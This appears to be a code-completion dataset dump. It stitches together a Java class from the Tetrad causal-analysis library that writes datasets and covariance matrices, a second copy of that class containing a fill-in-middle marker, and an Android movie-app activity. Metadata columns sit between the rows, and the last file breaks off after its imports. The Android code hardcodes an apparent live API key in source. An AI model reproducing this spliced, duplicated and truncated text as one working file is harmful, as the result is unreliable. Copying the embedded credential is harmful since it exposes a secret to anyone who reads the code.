import java.text.NumberFormat;
import java.util.Iterator;
import java.util.List;
import java.util.stream.Collectors;
/**
* Provides static methods for saving data to files.
*
* @author Joseph Ramsey
*/
public final class DataWriter {
/**
* Writes a dataset to file. The dataset may have continuous and/or discrete
* columns. Note that <code>out</code> is not closed by this method, so
* the close method on <code>out</code> will need to be called externally.
*
* @param dataSet The data set to save.
* @param out The writer to write the output to.
* @param separator The character separating fields, usually '\t' or ','.
* @throws IOException If there is some problem dealing with the writer.
*/
public static void writeRectangularData(DataSet dataSet,
Writer out, char separator) throws IOException {
NumberFormat nf = NumberFormatUtil.getInstance().getNumberFormat();
StringBuilder buf = new StringBuilder();
// boolean isCaseMultipliersCollapsed = dataSet.isMulipliersCollapsed();
// if (false) {
// buf.append("MULT").append(separator);
// }
for (int col = 0; col < dataSet.getNumColumns(); col++) {
String name = dataSet.getVariable(col).getName();
if (name.trim().equals("")) {
name = "C" + (col - 1);
}
buf.append(name);
if (col < dataSet.getNumColumns() - 1) {
buf.append(separator);
}
}
for (int row = 0; row < dataSet.getNumRows(); row++) {
buf.append("\n");
// if (isCaseMultipliersCollapsed) {
// int multiplier = dataSet.getMultiplier(row);
// buf.append(multiplier).append(separator);
// }
for (int col = 0; col < dataSet.getNumColumns(); col++) {
Node variable = dataSet.getVariable(col);
if (variable instanceof ContinuousVariable) {
double value = dataSet.getDouble(row, col);
if (ContinuousVariable.isDoubleMissingValue(value)) {
buf.append("*");
} else {
buf.append(nf.format(value));
}
if (col < dataSet.getNumColumns() - 1) {
buf.append(separator);
}
} else if (variable instanceof DiscreteVariable) {
Object obj = dataSet.getObject(row, col);
String val = ((obj == null) ? "" : obj.toString());
buf.append(val);
if (col < dataSet.getNumColumns() - 1) {
buf.append(separator);
}
}
}
}
buf.append("\n");
out.write(buf.toString());
out.close();
}
// /**
// * Writes a dataset to file. The dataset may have continuous and/or discrete
// * columns. Note that <code>out</code> is not closed by this method, so
// * the close method on <code>out</code> will need to be called externally.
// *
// * @param dataSet The data set to save.
// * @param out The writer to write the output to.
// * @param separator The character separating fields, usually '\t' or ','.
// */
// public static void writeRectangularDataALittleFaster(DataSet dataSet,
// PrintWriter out, char separator) {
// NumberFormat nf = new DecimalFormat("0.0000");
//// StringBuilder buf = new StringBuilder();
//
// for (int col = 0; col < dataSet.getNumColumns(); col++) {
// String name = dataSet.getVariable(col).getNode();
//
// if (name.trim().equals("")) {
// name = "C" + (col - 1);
// }
//
// out.append(name);
//
// if (col < dataSet.getNumColumns() - 1) {
// out.append(separator);
// }
// }
//
// for (int row = 0; row < dataSet.getNumRows(); row++) {
// out.append("\n");
//
// for (int col = 0; col < dataSet.getNumColumns(); col++) {
// Node variable = dataSet.getVariable(col);
//
// if (variable instanceof ContinuousVariable) {
// double value = dataSet.getDouble(row, col);
//
// if (ContinuousVariable.isDoubleMissingValue(value)) {
// out.print("*");
// } else {
// out.print(nf.format(value));
//// out.print(value);
// }
//
// if (col < dataSet.getNumColumns() - 1) {
// out.print(separator);
// }
// } else if (variable instanceof DiscreteVariable) {
// Object obj = dataSet.getObject(row, col);
// String val = ((obj == null) ? "" : obj.toString());
//
// out.print(val);
//
// if (col < dataSet.getNumColumns() - 1) {
// out.print(separator);
// }
// }
// }
// }
//
// out.print("\n");
// out.close();
// }
/**
* Writes the lower triangle of a covariance matrix to file. Note that
* <code>out</code> is not closed by this method, so the close method on
* <code>out</code> will need to be called externally.
*
* @param out The writer to write the output to.
*/
public static void writeCovMatrix(ICovarianceMatrix covMatrix,
PrintWriter out, NumberFormat nf) {
// out.println("/Covariance");
out.println(covMatrix.getSampleSize());
List<String> variables = covMatrix.getVariableNames();
int numVars = variables.size();
int varCount = 0;
for (String variable : variables) {
varCount++;
if (varCount < numVars) {
out.print(variable);
out.print("\t");
} else {
out.println(variable);
}
}
for (int j = 0; j < numVars; j++) {
for (int i = 0; i <= j; i++) {
double value = covMatrix.getValue(i, j);
if (Double.isNaN(value)) {
out.print("*");
} else {
out.print(nf.format(value));
}
out.print((i < j) ? "\t" : "\n");
}
}
out.flush();
out.close();
}
public static void saveKnowledge(IKnowledge knowledge, Writer out) throws IOException {
StringBuilder buf = new StringBuilder();
buf.append("/knowledge");
buf.append("\naddtemporal\n");
for (int i = 0; i < knowledge.getNumTiers(); i++) {
String forbiddenWithin = knowledge.isTierForbiddenWithin(i) ? "*" : "";
String onlyCanCauseNextTier = knowledge.isOnlyCanCauseNextTier(i) ? "-" : "";
buf.append("\n").append(i+1).append(forbiddenWithin).append(onlyCanCauseNextTier).append(" ");
List<String> tier = knowledge.getTier(i);
if (!(tier == null || tier.isEmpty())) {
buf.append(" ");
buf.append(tier.stream().collect(Collectors.joining(" ")));
}
}
buf.append("\n\nforbiddirect");
for (Iterator<KnowledgeEdge> i
= knowledge.forbiddenEdgesIterator(); i.hasNext();) {
KnowledgeEdge pair = i.next();
String from = pair.getFrom();
String to = pair.getTo();
if (knowledge.isForbiddenByTiers(from, to)) {
continue;
}
buf.append("\n").append(from).append(" ").append(to);
}
buf.append("\n\nrequiredirect");
for (Iterator<KnowledgeEdge> i
= knowledge.requiredEdgesIterator(); i.hasNext();) {
KnowledgeEdge pair = i.next();
String from = pair.getFrom();
String to = pair.getTo();
buf.append("\n").append(from).append(" ").append(to);
}
out.write(buf.toString());
out.flush();
}
}
| 777Rebecca/tetrad | tetrad-lib/src/main/java/edu/cmu/tetrad/data/DataWriter.java | 2,767 | // Object obj = dataSet.getObject(row, col); | line_comment | nl | ///////////////////////////////////////////////////////////////////////////////
// For information as to what this class does, see the Javadoc, below. //
// Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, //
// 2007, 2008, 2009, 2010, 2014, 2015 by Peter Spirtes, Richard Scheines, Joseph //
// Ramsey, and Clark Glymour. //
// //
// This program is free software; you can redistribute it and/or modify //
// it under the terms of the GNU General Public License as published by //
// the Free Software Foundation; either version 2 of the License, or //
// (at your option) any later version. //
// //
// This program is distributed in the hope that it will be useful, //
// but WITHOUT ANY WARRANTY; without even the implied warranty of //
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the //
// GNU General Public License for more details. //
// //
// You should have received a copy of the GNU General Public License //
// along with this program; if not, write to the Free Software //
// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA //
///////////////////////////////////////////////////////////////////////////////
package edu.cmu.tetrad.data;
import edu.cmu.tetrad.graph.Node;
import edu.cmu.tetrad.util.NumberFormatUtil;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.Writer;
import java.text.NumberFormat;
import java.util.Iterator;
import java.util.List;
import java.util.stream.Collectors;
/**
* Provides static methods for saving data to files.
*
* @author Joseph Ramsey
*/
public final class DataWriter {
/**
* Writes a dataset to file. The dataset may have continuous and/or discrete
* columns. Note that <code>out</code> is not closed by this method, so
* the close method on <code>out</code> will need to be called externally.
*
* @param dataSet The data set to save.
* @param out The writer to write the output to.
* @param separator The character separating fields, usually '\t' or ','.
* @throws IOException If there is some problem dealing with the writer.
*/
public static void writeRectangularData(DataSet dataSet,
Writer out, char separator) throws IOException {
NumberFormat nf = NumberFormatUtil.getInstance().getNumberFormat();
StringBuilder buf = new StringBuilder();
// boolean isCaseMultipliersCollapsed = dataSet.isMulipliersCollapsed();
// if (false) {
// buf.append("MULT").append(separator);
// }
for (int col = 0; col < dataSet.getNumColumns(); col++) {
String name = dataSet.getVariable(col).getName();
if (name.trim().equals("")) {
name = "C" + (col - 1);
}
buf.append(name);
if (col < dataSet.getNumColumns() - 1) {
buf.append(separator);
}
}
for (int row = 0; row < dataSet.getNumRows(); row++) {
buf.append("\n");
// if (isCaseMultipliersCollapsed) {
// int multiplier = dataSet.getMultiplier(row);
// buf.append(multiplier).append(separator);
// }
for (int col = 0; col < dataSet.getNumColumns(); col++) {
Node variable = dataSet.getVariable(col);
if (variable instanceof ContinuousVariable) {
double value = dataSet.getDouble(row, col);
if (ContinuousVariable.isDoubleMissingValue(value)) {
buf.append("*");
} else {
buf.append(nf.format(value));
}
if (col < dataSet.getNumColumns() - 1) {
buf.append(separator);
}
} else if (variable instanceof DiscreteVariable) {
Object obj = dataSet.getObject(row, col);
String val = ((obj == null) ? "" : obj.toString());
buf.append(val);
if (col < dataSet.getNumColumns() - 1) {
buf.append(separator);
}
}
}
}
buf.append("\n");
out.write(buf.toString());
out.close();
}
// /**
// * Writes a dataset to file. The dataset may have continuous and/or discrete
// * columns. Note that <code>out</code> is not closed by this method, so
// * the close method on <code>out</code> will need to be called externally.
// *
// * @param dataSet The data set to save.
// * @param out The writer to write the output to.
// * @param separator The character separating fields, usually '\t' or ','.
// */
// public static void writeRectangularDataALittleFaster(DataSet dataSet,
// PrintWriter out, char separator) {
// NumberFormat nf = new DecimalFormat("0.0000");
//// StringBuilder buf = new StringBuilder();
//
// for (int col = 0; col < dataSet.getNumColumns(); col++) {
// String name = dataSet.getVariable(col).getNode();
//
// if (name.trim().equals("")) {
// name = "C" + (col - 1);
// }
//
// out.append(name);
//
// if (col < dataSet.getNumColumns() - 1) {
// out.append(separator);
// }
// }
//
// for (int row = 0; row < dataSet.getNumRows(); row++) {
// out.append("\n");
//
// for (int col = 0; col < dataSet.getNumColumns(); col++) {
// Node variable = dataSet.getVariable(col);
//
// if (variable instanceof ContinuousVariable) {
// double value = dataSet.getDouble(row, col);
//
// if (ContinuousVariable.isDoubleMissingValue(value)) {
// out.print("*");
// } else {
// out.print(nf.format(value));
//// out.print(value);
// }
//
// if (col < dataSet.getNumColumns() - 1) {
// out.print(separator);
// }
// } else if (variable instanceof DiscreteVariable) {
// Object obj<SUF>
// String val = ((obj == null) ? "" : obj.toString());
//
// out.print(val);
//
// if (col < dataSet.getNumColumns() - 1) {
// out.print(separator);
// }
// }
// }
// }
//
// out.print("\n");
// out.close();
// }
/**
* Writes the lower triangle of a covariance matrix to file. Note that
* <code>out</code> is not closed by this method, so the close method on
* <code>out</code> will need to be called externally.
*
* @param out The writer to write the output to.
*/
public static void writeCovMatrix(ICovarianceMatrix covMatrix,
PrintWriter out, NumberFormat nf) {
// out.println("/Covariance");
out.println(covMatrix.getSampleSize());
List<String> variables = covMatrix.getVariableNames();
int numVars = variables.size();
int varCount = 0;
for (String variable : variables) {
varCount++;
if (varCount < numVars) {
out.print(variable);
out.print("\t");
} else {
out.println(variable);
}
}
for (int j = 0; j < numVars; j++) {
for (int i = 0; i <= j; i++) {
double value = covMatrix.getValue(i, j);
if (Double.isNaN(value)) {
out.print("*");
} else {
out.print(nf.format(value));
}
out.print((i < j) ? "\t" : "\n");
}
}
out.flush();
out.close();
}
public static void saveKnowledge(IKnowledge knowledge, Writer out) throws IOException {
StringBuilder buf = new StringBuilder();
buf.append("/knowledge");
buf.append("\naddtemporal\n");
for (int i = 0; i < knowledge.getNumTiers(); i++) {
String forbiddenWithin = knowledge.isTierForbiddenWithin(i) ? "*" : "";
String onlyCanCauseNextTier = knowledge.isOnlyCanCauseNextTier(i) ? "-" : "";
buf.append("\n").append(i+1).append(forbiddenWithin).append(onlyCanCauseNextTier).append(" ");
List<String> tier = knowledge.getTier(i);
if (!(tier == null || tier.isEmpty())) {
buf.append(" ");
buf.append(tier.stream().collect(Collectors.joining(" ")));
}
}
buf.append("\n\nforbiddirect");
for (Iterator<KnowledgeEdge> i
= knowledge.forbiddenEdgesIterator(); i.hasNext();) {
KnowledgeEdge pair = i.next();
String from = pair.getFrom();
String to = pair.getTo();
if (knowledge.isForbiddenByTiers(from, to)) {
continue;
}
buf.append("\n").append(from).append(" ").append(to);
}
buf.append("\n\nrequiredirect");
for (Iterator<KnowledgeEdge> i
= knowledge.requiredEdgesIterator(); i.hasNext();) {
KnowledgeEdge pair = i.next();
String from = pair.getFrom();
String to = pair.getTo();
buf.append("\n").append(from).append(" ").append(to);
}
out.write(buf.toString());
out.flush();
}
}
|
174752_22 | package id.radityo.moviedatabase;
import android.os.Bundle;
import android.support.design.widget.Snackbar;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.LinearLayout;
import android.widget.ProgressBar;
import android.widget.TextView;
import android.widget.Toast;
import com.makeramen.roundedimageview.RoundedImageView;
import com.squareup.picasso.Picasso;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import id.radityo.moviedatabase.Database.MovieModel;
import id.radityo.moviedatabase.Database.RealmHelper;
import id.radityo.moviedatabase.Review.ReviewAdapter;
import id.radityo.moviedatabase.Review.Reviewer;
import id.radityo.moviedatabase.Trailer.Quicktime.QuicktimeAdapter;
import id.radityo.moviedatabase.Trailer.Quicktime.Quicktimes;
import id.radityo.moviedatabase.Trailer.Youtube.YoutubeAdapter;
import id.radityo.moviedatabase.Trailer.Youtube.Youtubes;
import io.realm.Realm;
import io.realm.RealmConfiguration;
import io.realm.RealmList;
import io.realm.RealmResults;
import okhttp3.ResponseBody;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;
public class DetailActivity extends AppCompatActivity {
public final String API_KEY = "ce64212de916313a39e9490b889fb667";
private static final String TAG = "movie";
TextView tvYear, tvDuration, tvRating, tvSinopsis, tvNoTrailer, tvTitle, tvNoReview;
RoundedImageView rivImage;
Button addFavorite;
ProgressBar progressBarReview, progressBarTrailer;
RecyclerView rvReview, rvYoutube, rvQuicktime;
List<Reviewer> reviewsList = new ArrayList<>(); // TODO: perubahan dari list ke realmlist
ReviewAdapter reviewAdapter;
List<Youtubes> youtubesList = new ArrayList<>(); //youtube's List
YoutubeAdapter youtubeAdapter;
List<Quicktimes> quicktimesList = new ArrayList<>(); //quicktime's List
QuicktimeAdapter quicktimeAdapter;
RealmList<Reviewer> reviewers;
List<Reviewer> list;
RealmResults<Reviewer> results;
RealmResults<Youtubes> resultsYoutube;
RealmResults<Quicktimes> resultsQuicktime;
Realm realm;
MovieModel movieModel = new MovieModel();
RealmHelper realmHelper;
public int movieId;
public String name;
private boolean ada = movieModel.isExisting();
//AdapterFavorit adapterFavorit = new AdapterFavorit(new Or, true, quicktimesList, this);
@Override
protected void onCreate(final Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_detail);
//Realm
Realm.init(DetailActivity.this);
RealmConfiguration configuration = new RealmConfiguration.Builder().build();
realm = Realm.getInstance(configuration);
realmHelper = new RealmHelper(realm);
//Getting intent
final String title = getIntent().getStringExtra("title");
final String posterPath = getIntent().getStringExtra("poster_path");
final String year = getIntent().getStringExtra("year");
final String sinopsis = getIntent().getStringExtra("sinopsis");
final float rate = getIntent().getFloatExtra("rate", 0);
movieId = getIntent().getIntExtra("movie_id", 0);
//Logging
Log.e(TAG, "###movieId: " + movieId);
Log.e(TAG, "###title: " + title);
Log.e(TAG, "###year: " + year);
Log.e(TAG, "###rate: " + rate);
Log.e(TAG, "###posterPath: " + posterPath);
//Customize action bar
getSupportActionBar().setDisplayShowHomeEnabled(true);
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
getSupportActionBar().setHomeButtonEnabled(true);
getSupportActionBar().setTitle("Detail");
getSupportActionBar().setElevation(0f);
getSupportActionBar().setHomeAsUpIndicator(R.drawable.ic_arrow_back_black_24dp);
LinearLayout llNggantung = findViewById(R.id.ll_nggantung);
llNggantung.setElevation(5f);
//Finding view
tvTitle = findViewById(R.id.tv_title_detail);
tvDuration = findViewById(R.id.tv_duration_detail);
tvRating = findViewById(R.id.tv_rate_detail);
tvSinopsis = findViewById(R.id.tv_sinopsis_detail);
tvYear = findViewById(R.id.tv_year_detail);
tvNoReview = findViewById(R.id.tv_no_review);
tvNoTrailer = findViewById(R.id.tv_no_trailer);
rivImage = findViewById(R.id.iv_image_detail);
addFavorite = findViewById(R.id.bt_add_favorite);
rvReview = findViewById(R.id.rv_review);
rvYoutube = findViewById(R.id.rv_youtube);
rvQuicktime = findViewById(R.id.rv_quicktime);
progressBarReview = findViewById(R.id.progress_bar_review);
progressBarTrailer = findViewById(R.id.progress_bar_trailer);
tvNoTrailer.setVisibility(View.GONE);
tvNoReview.setVisibility(View.GONE);
rvReview.setLayoutManager(new LinearLayoutManager(this, 1, false));
rvReview.setHasFixedSize(true);
rvYoutube.setLayoutManager(new LinearLayoutManager(this, 1, false));
rvYoutube.setHasFixedSize(true);
rvQuicktime.setLayoutManager(new LinearLayoutManager(this, 1, false));
rvQuicktime.setHasFixedSize(true);
// reviewsList = realmHelper.getAllReviews();
// youtubesList = realmHelper.ge
if (!reviewsList.isEmpty()) {
progressBarReview.setVisibility(View.GONE);
}
if (!youtubesList.isEmpty() || !quicktimesList.isEmpty()) {
progressBarTrailer.setVisibility(View.GONE);
}
//Realm Result
results = realm.where(Reviewer.class).equalTo("movieId", movieId).findAll();
results.load();
resultsYoutube = realm.where(Youtubes.class).equalTo("movieId", movieId).findAll();
resultsYoutube.load();
resultsQuicktime = realm.where(Quicktimes.class).equalTo("movieId", movieId).findAll();
resultsQuicktime.load();
hitReviewsItem(API_KEY); //hit review
hitTrailersItem(API_KEY); //hit trailer
hitDetailsItem(API_KEY); //hit details
reviewsList.addAll(realmHelper.findAll(Reviewer.class, "movieId", movieId));
youtubesList.addAll(realmHelper.findAllTrailers(Youtubes.class, "name", name));
quicktimesList.addAll(realmHelper.findAllTrailers(Quicktimes.class, "name", name));
//Checking Condition and OnClick
/**Jika movieId ternyata ada
di database button dan aksinya diubah**/
if (realm.where(MovieModel.class).equalTo("movieId", movieId).count() > 0) {
movieModel.setExisting(true);
addFavorite.setText(getString(R.string.del_from_favorite));
addFavorite.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (movieModel.isExisting()) {
realmHelper.delete(movieId);
movieModel.setExisting(false);
addFavorite.setText(getString(R.string.add_to_favorite));
Log.e(TAG, "### delete");
Snackbar.make(v, title + " dihapus dari favorit", Snackbar.LENGTH_LONG).show();
} else {
if (!title.isEmpty() && movieId != 0) {
movieModel.setMovieId(movieId);
movieModel.setTitle(title);
movieModel.setYear(year);
movieModel.setPosterPath(posterPath);
movieModel.setSinopsis(sinopsis);
movieModel.setRating(rate);
movieModel.setExisting(true);
realmHelper.save(movieModel);
realmHelper.saveObject(reviewsList);
realmHelper.saveObject(youtubesList);
realmHelper.saveObject(quicktimesList);
addFavorite.setText(getString(R.string.del_from_favorite));
Snackbar.make(v, title + " ditambahkan ke favorit", Snackbar.LENGTH_LONG).show();
Log.e("movie", "### saveObject reviews : " + reviewsList);
Log.e("movie", "### saveObject youtube : " + youtubesList);
Log.e("movie", "### saveObject quicktime : " + quicktimesList);
} else {
Toast.makeText(DetailActivity.this, "Tidak dapat menambahkan", Toast.LENGTH_SHORT).show();
}
}
}
});
} else {
movieModel.setExisting(false);
addFavorite.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (!movieModel.isExisting()) {
if (!title.isEmpty() && movieId != 0) {
movieModel.setMovieId(movieId);
movieModel.setTitle(title);
movieModel.setYear(year);
movieModel.setPosterPath(posterPath);
movieModel.setSinopsis(sinopsis);
movieModel.setRating(rate);
movieModel.setExisting(true);
realmHelper.save(movieModel);
realmHelper.saveObject(reviewsList);
realmHelper.saveObject(youtubesList);
realmHelper.saveObject(quicktimesList);
addFavorite.setText(getString(R.string.del_from_favorite));
Snackbar.make(v, title + " ditambahkan ke favorit", Snackbar.LENGTH_LONG).show();
Log.e(TAG, "### add");
Log.e("movie", "### saveObject reviews : " + reviewsList);
Log.e("movie", "### saveObject youtube : " + youtubesList);
Log.e("movie", "### saveObject quicktime : " + quicktimesList);
} else {
Toast.makeText(DetailActivity.this, "Tidak dapat menambahkan", Toast.LENGTH_SHORT).show();
}
} else {
realmHelper.delete(movieId);
movieModel.setExisting(false);
addFavorite.setText(getString(R.string.add_to_favorite));
Snackbar.make(v, title + " dihapus dari favorit", Snackbar.LENGTH_LONG).show();
}
}
});
}
// addFavorite.setText(getString(R.string.del_from_favorite));
// addFavorite.setOnClickListener(new View.OnClickListener() {
// @Override
// public void onClick(View v) {
// if (movieModel.isExisting()) { // jika sudah ada
// realmHelper.delete(movieId);
// movieModel.setExisting(false);
// addFavorite.setText(getString(R.string.add_to_favorite));
// Snackbar.make(v, title + " dihapus dari favorit", Snackbar.LENGTH_LONG).show();
// Log.e(TAG, "###" + title + " dihapus dari favorit");
// } else {
// if (!title.isEmpty() && movieId != 0) {
// movieModel.setMovieId(movieId);
// movieModel.setTitle(title);
// movieModel.setYear(year);
// movieModel.setPosterPath(posterPath);
// movieModel.setSinopsis(sinopsis);
// movieModel.setRating(rate);
// movieModel.setExisting(true);
//
// realmHelper.save(movieModel);
// realmHelper.saveObject(reviewsList);
// realmHelper.saveObject(youtubesList);
// realmHelper.saveObject(quicktimesList);
// addFavorite.setText(getString(R.string.add_to_favorite));
// Snackbar.make(v, title + " ditambahkan ke favorit", Snackbar.LENGTH_LONG).show();
// Log.e(TAG, "###" + title + " ditambahkan ke favorit");
// Log.e("movie", "### saveObject reviews : " + reviewsList);
// Log.e("movie", "### saveObject youtube : " + youtubesList);
// Log.e("movie", "### saveObject quicktime : " + quicktimesList);
// } else {
// Toast.makeText(DetailActivity.this, "Tidak dapat menambahkan", Toast.LENGTH_SHORT).show();
// }
// }
// }
// });
Picasso.get()
.load(posterPath)
.placeholder(R.drawable.ic_photo_black_24dp)
.into(rivImage);
tvTitle.setText(title);
tvYear.setText(year.substring(0, 4));
String rating = String.valueOf(rate) + "/10";
tvRating.setText(rating);
tvSinopsis.setText(sinopsis);
// if (movieModel.getReviewsList() != null) {
//// if (_movieModel.getReviewsList().size() != 0) {
// Log.e(TAG, "### List from MovieModel : NOT NULL");
//// list = _movieModel.getReviewsList();
//// reviewAdapter = new ReviewAdapter(list, DetailActivity.this);
//// rvReview.setAdapter(reviewAdapter);
//// reviewAdapter.notifyDataSetChanged();
//// } else {
//// Log.e(TAG, "### List from MovieModel : SIZE IS 0");
//// Log.e(TAG, "### List from MovieModel : " + _movieModel.getReviewsList());
//// reviewAdapter = new ReviewAdapter(reviewsList, DetailActivity.this);
//// rvReview.setAdapter(reviewAdapter);
//// reviewAdapter.notifyDataSetChanged();
//// }
// } else {
// Log.e(TAG, "### List from MovieModel : IS NULL");
// }
}
private void hitReviewsItem(String apiKey) {
APIInterface service = ApiClient.getReviews(movieId);
Call<ResponseBody> call = service.reviewItem(apiKey);
call.enqueue(new Callback<ResponseBody>() {
@Override
public void onResponse(Call<ResponseBody> call, final Response<ResponseBody> response) {
if (response.isSuccessful()) {
reviewAdapter = new ReviewAdapter(reviewsList, DetailActivity.this);
rvReview.setAdapter(reviewAdapter); // TODO: perpindahan dari atas ke bawah
progressBarReview.setVisibility(View.GONE);
try {
reviewsList.clear();
String respon = response.body().string();
JSONObject object1 = new JSONObject(respon);
//saving
int movieId = object1.getInt("id");
int page = object1.getInt("page");
JSONArray array = object1.getJSONArray("results");
if (array.length() == 0) {
tvNoReview.setVisibility(View.VISIBLE);
}
for (int p = 0; p < array.length(); p++) {
JSONObject object2 = array.getJSONObject(p);
//saving
String author = object2.getString("author");
String content = object2.getString("content");
String id = object2.getString("id");
String url = object2.getString("url");
//setting
// TODO: set reviews to model
Reviewer review = new Reviewer();
review.setAuthor(author);
review.setContent(content);
review.setId(id);
review.setUrl(url);
review.setMovieId(movieId);
reviewsList.add(review);
}
// reviewAdapter = new ReviewAdapter(reviewsList, DetailActivity.this);
reviewAdapter.notifyDataSetChanged();
} catch (JSONException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
} else {
runOnUiThread(new Runnable() {
@Override
public void run() {
reviewAdapter = new ReviewAdapter(results, DetailActivity.this);
rvReview.setAdapter(reviewAdapter);
reviewAdapter.notifyDataSetChanged();
progressBarReview.setVisibility(View.GONE);
Log.e(TAG, "###respon message from review : " + response.message());
Log.e(TAG, "###respon errorBody from review : " + response.errorBody());
//reviewAdapter.notifyDataSetChanged();
}
});
}
}
@Override
public void onFailure(Call<ResponseBody> call, Throwable t) {
reviewAdapter = new ReviewAdapter(results, DetailActivity.this);
rvReview.setAdapter(reviewAdapter);
reviewAdapter.notifyDataSetChanged();
progressBarReview.setVisibility(View.GONE);
Toast.makeText(DetailActivity.this, getString(R.string.no_internet), Toast.LENGTH_SHORT).show();
Log.e(TAG, "NO INTERNET CONNECTION");
t.getLocalizedMessage();
t.getMessage();
t.printStackTrace();
}
});
}
private void hitTrailersItem(String apiKey) {
APIInterface service = ApiClient.getTrailers(movieId);
Call<ResponseBody> call = service.trailersItem(apiKey);
call.enqueue(new Callback<ResponseBody>() {
@Override
public void onResponse(Call<ResponseBody> call, final Response<ResponseBody> response) {
if (response.isSuccessful()) {
youtubeAdapter = new YoutubeAdapter(youtubesList, DetailActivity.this);
rvYoutube.setAdapter(youtubeAdapter);
quicktimeAdapter = new QuicktimeAdapter(quicktimesList, DetailActivity.this);
rvQuicktime.setAdapter(quicktimeAdapter);
Log.e(TAG, "### RESPONSE IS SUCCESSFUL GAN");
progressBarTrailer.setVisibility(View.GONE);
try {
youtubesList.clear();
quicktimesList.clear();
String respon = response.body().string();
JSONObject object1 = new JSONObject(respon);
JSONArray qucktimeArray = object1.getJSONArray("quicktime");
JSONArray youtubeArray = object1.getJSONArray("youtube");
Log.e(TAG, "youtubeArray GAN!!! : " + youtubeArray);
if (qucktimeArray.length() == 0 && youtubeArray.length() == 0) {
tvNoTrailer.setVisibility(View.VISIBLE);
}
if (qucktimeArray.length() == 0) {
Log.e(TAG, "Quicktime array is NULL");
/*do nothing*/
} else {
for (int p = 0; p < qucktimeArray.length(); p++) {
JSONObject objectQ = qucktimeArray.getJSONObject(p);
name = objectQ.getString("name");
String size = objectQ.getString("size");
String source = objectQ.getString("source");
String type = objectQ.getString("type");
// TODO: set trailers to model
Quicktimes trailerQ = new Quicktimes();
trailerQ.setName(name);
trailerQ.setType(type);
trailerQ.setSource(source);
trailerQ.setSize(size);
trailerQ.setMovieId(movieId);
quicktimesList.add(trailerQ);
}
quicktimeAdapter.notifyDataSetChanged();
}
if (youtubeArray.length() == 0) {
Log.e(TAG, "Youtube array is NULL");
/*do nothing*/
} else {
for (int p = 0; p < youtubeArray.length(); p++) {
JSONObject objectY = youtubeArray.getJSONObject(p);
name = objectY.getString("name");
String size = objectY.getString("size");
String source = objectY.getString("source");
String type = objectY.getString("type");
Youtubes trailerY = new Youtubes();
trailerY.setName(name);
trailerY.setSize(size);
trailerY.setSource(source);
trailerY.setType(type);
trailerY.setMovieId(movieId);
youtubesList.add(trailerY);
}
youtubeAdapter.notifyDataSetChanged();
}
} catch (IOException e) {
e.printStackTrace();
} catch (JSONException e) {
e.printStackTrace();
}
} else {
runOnUiThread(new Runnable() {
@Override
public void run() {
youtubeAdapter = new YoutubeAdapter(resultsYoutube, DetailActivity.this);
rvYoutube.setAdapter(youtubeAdapter);
youtubeAdapter.notifyDataSetChanged();
quicktimeAdapter = new QuicktimeAdapter(resultsQuicktime, DetailActivity.this);
rvQuicktime.setAdapter(quicktimeAdapter);
quicktimeAdapter.notifyDataSetChanged();
Log.e(TAG, "###respon message from trailer : " + response.message());
Log.e(TAG, "###respon errorBody from trailer : " + response.errorBody());
}
});
}
}
@Override
public void onFailure(Call<ResponseBody> call, Throwable t) {
youtubeAdapter = new YoutubeAdapter(resultsYoutube, DetailActivity.this);
rvYoutube.setAdapter(youtubeAdapter);
youtubeAdapter.notifyDataSetChanged();
quicktimeAdapter = new QuicktimeAdapter(resultsQuicktime, DetailActivity.this);
rvQuicktime.setAdapter(quicktimeAdapter);
quicktimeAdapter.notifyDataSetChanged();
progressBarTrailer.setVisibility(View.GONE);
Log.e(TAG, "NO INTERNET CONNECTION");
t.getLocalizedMessage();
t.getMessage();
t.printStackTrace();
onFailToConnect();
}
});
}
private void hitDetailsItem(String apiKey) {
APIInterface service = ApiClient.getDetails(movieId);
Call<ResponseBody> call = service.detailsItem(movieId, apiKey);
call.enqueue(new Callback<ResponseBody>() {
@Override
public void onResponse(Call<ResponseBody> call, final Response<ResponseBody> response) {
if (response.isSuccessful()) {
try {
String respon = response.body().string();
JSONObject object1 = new JSONObject(respon);
int duration = object1.getInt("runtime");
String dur = String.valueOf(duration) + " Min";
tvDuration.setText(dur);
} catch (JSONException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
} else {
runOnUiThread(new Runnable() {
@Override
public void run() {
try {
Log.e(TAG, "###response from details not success \n"
+ response.errorBody().string()
+ "\n" + response.message());
} catch (IOException e) {
e.printStackTrace();
}
}
});
}
}
@Override
public void onFailure(Call<ResponseBody> call, Throwable t) {
t.getLocalizedMessage();
t.getMessage();
t.printStackTrace();
// onFailToConnect();
}
});
}
private void onFailToConnect() {
progressBarTrailer.setVisibility(View.GONE);
progressBarReview.setVisibility(View.GONE);
/*relativeLayout.setVisibility(View.VISIBLE);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
hitPopularItem(API_KEY);
}
});*/
}
@Override
public boolean onSupportNavigateUp() {
onBackPressed();
return true;
}
@Override
protected void onRestart() {
super.onRestart();
}
}
| 7dp/Movie-DB | ayoGAN35/app/src/main/java/id/radityo/moviedatabase/DetailActivity.java | 7,472 | //// if (_movieModel.getReviewsList().size() != 0) {
| line_comment | nl | package id.radityo.moviedatabase;
import android.os.Bundle;
import android.support.design.widget.Snackbar;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.LinearLayout;
import android.widget.ProgressBar;
import android.widget.TextView;
import android.widget.Toast;
